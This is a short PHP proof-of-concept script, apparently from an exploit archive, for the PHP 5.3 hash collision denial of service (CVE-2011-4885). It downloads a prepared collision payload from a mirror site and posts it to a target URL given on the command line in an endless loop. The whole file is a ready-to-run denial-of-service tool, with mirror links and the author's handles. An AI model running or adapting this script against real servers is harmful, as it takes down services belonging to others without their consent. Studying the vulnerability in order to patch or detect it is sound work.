PHP 5.3.x Hashtables Proof Of Concept

`<?php  
/*  
PHP 5.3.* Hash Colission DoS Exploit by infodox  
Original version by itz me (opensc.ws)  
CVE-2011-4885  
  
Mirrors List:  
http://compsoc.nuigalway.ie/~infodox/hashcollide.txt  
http://jrs-s.net/hashcollide.txt  
http://www.infodox.co.cc/Downloads/hashcollide.txt  
  
Changes:  
Different mirror for hashcollide.txt  
Now takes target as a command line argument  
Status message printing  
  
Twitter: @info_dox  
Blog: blog.infodox.co.cc  
Site: http://www.infodox.co.cc/  
*/  
$targ = $argv[1];  
$x = file_get_contents("http://jrs-s.net/hashcollide.txt"); // if this doesnt work replace with the mirrors_lst ones...  
while(1) {  
echo "firing";  
$ch = curl_init("$targ");  
curl_setopt($ch, CURLOPT_POSTFIELDS, $x);  
curl_exec($ch);  
curl_close($ch);  
echo "[+] Voly Sent!";  
}  
?>  
`